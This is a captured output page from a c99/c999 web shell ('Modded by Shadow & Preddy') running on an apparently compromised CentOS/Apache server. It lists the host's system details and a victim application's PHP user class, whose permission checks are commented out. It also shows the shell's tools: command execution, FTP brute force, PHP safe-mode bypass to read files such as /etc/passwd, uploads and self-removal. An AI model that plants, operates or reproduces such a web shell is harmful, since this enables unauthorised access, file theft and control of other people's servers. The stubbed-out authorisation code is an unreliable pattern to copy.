!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/class/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsUser.php (3.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
userLogin; }
	function getUserIP(){ return $this->userIP; }
	function getName(){ return $this->userName; }
	function getDptCode(){ return $this->userDptCode; }
	function getDptName(){ return $this->userDptName;	}
	function checkAA(){ return true; }
	function isExpire(){ 	return false;	}
	function isLock(){ return false; }
	function GetRightsByMenu(){
		/*if ($this->MnID<>""){
			include_once("clsConnection.php");
			include_once("clsUmPermission.php");
			include_once("clsUmGPermission.php");
			$oC = new Connection();
			$oUp = new umpermission($oC->c);
			$oGp = new umgpermission($oC->c);
			$this->X = 1;
			$this->C = 1; 
			$this->R = 1; 	
			$this->U = 1; 
			$this->D = 1;
			$oUp->SearchByKey($this->userID, $this->MnID);
			if ($oUp->GetRecord()){
				$this->X = $oUp->pmX;	
				$this->C = $oUp->pmC;
				$this->R = $oUp->pmR;	
				$this->U = $oUp->pmU;
				$this->D = $oUp->pmD;
			} else {
				$oGp->SearchByKey($this->GpID, $this->MnID);
				if ($oGp->GetRecord()){
					$this->X = $oGp->gpX;	
					$this->C = $oGp->gpC;
					$this->R = $oGp->gpR;	
					$this->U = $oGp->gpU;
					$this->D = $oGp->gpD;
				}		
			}
			$oUp->Close();
			$oGp->Close();
			$oC->Disconnect();
		}*/
	}
	
	function CRUD($link, $linktype){
		/*$linktype=strtolower($linktype);
		if (strpos("crud",$linktype)===false) die("linktype ผิด");
		$flg = false;
		if ($linktype=="c" and $this->C==0)
			 $flg=true;
		elseif ($linktype=="r" and $this->R==0) 
			$flg=true;
		elseif ($linktype=="u" and $this->U==0)
			$flg=true;
		elseif ($linktype=="d" and $this->D==0) 
			$flg=true;
		if ($flg==false){
			echo $link;
		}else{
			$link=trim($link);			
			$s = strtolower($link);
			//----------------------------------------------------------------
			//find image name
//			$input="images/del.gif";
//			$output = "images/delgrey.gif";		// use explode fn
//			$this->createGreyFromGifJpg($input, $output);
			//---------------------------------------------------------------
			
			//rename imagename.gif to imagenamegrey.gif
			$pGif = strpos($s,".gif");
			if ($pGif===false){
			}else{
				$s = substr_replace($link, "grey", $pGif).substr($link, $pGif);
				$link = $s;
			}
			
			//rename imagename.jpg to imagenamegrey.jpg
			$pJpg = strpos($s,".jp");
			if ($pJpg===false){
			}else{
				$s = substr_replace($link, "grey", $pJpg).substr($link, $pJpg);
				$link = $s;
			}			
			//disable tag A 
			$pHref = strpos($s,"href");
			if ($pHref===false){
			}else{
				$s = substr_replace($link, "href1", $pHref).substr($link,$pHref+4);
				$link = $s;
			}			
			//disable text betweem tag A and not have tag img 
			$pImg = strpos($s,"");
					$p2 = strpos($link,"".substr($link, $p1+1,$p2)."";
					$link =  $s;
				}
			}
			//check tag INPUT type button or submit
			if (substr($s,1,5)=="input"){
				$p1 = strpos($s,">");
				$s = substr_replace($link, " Disabled>", $p1);
				$link = $s;
			}
			echo  $link;
		}*/
	}
}



?>
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--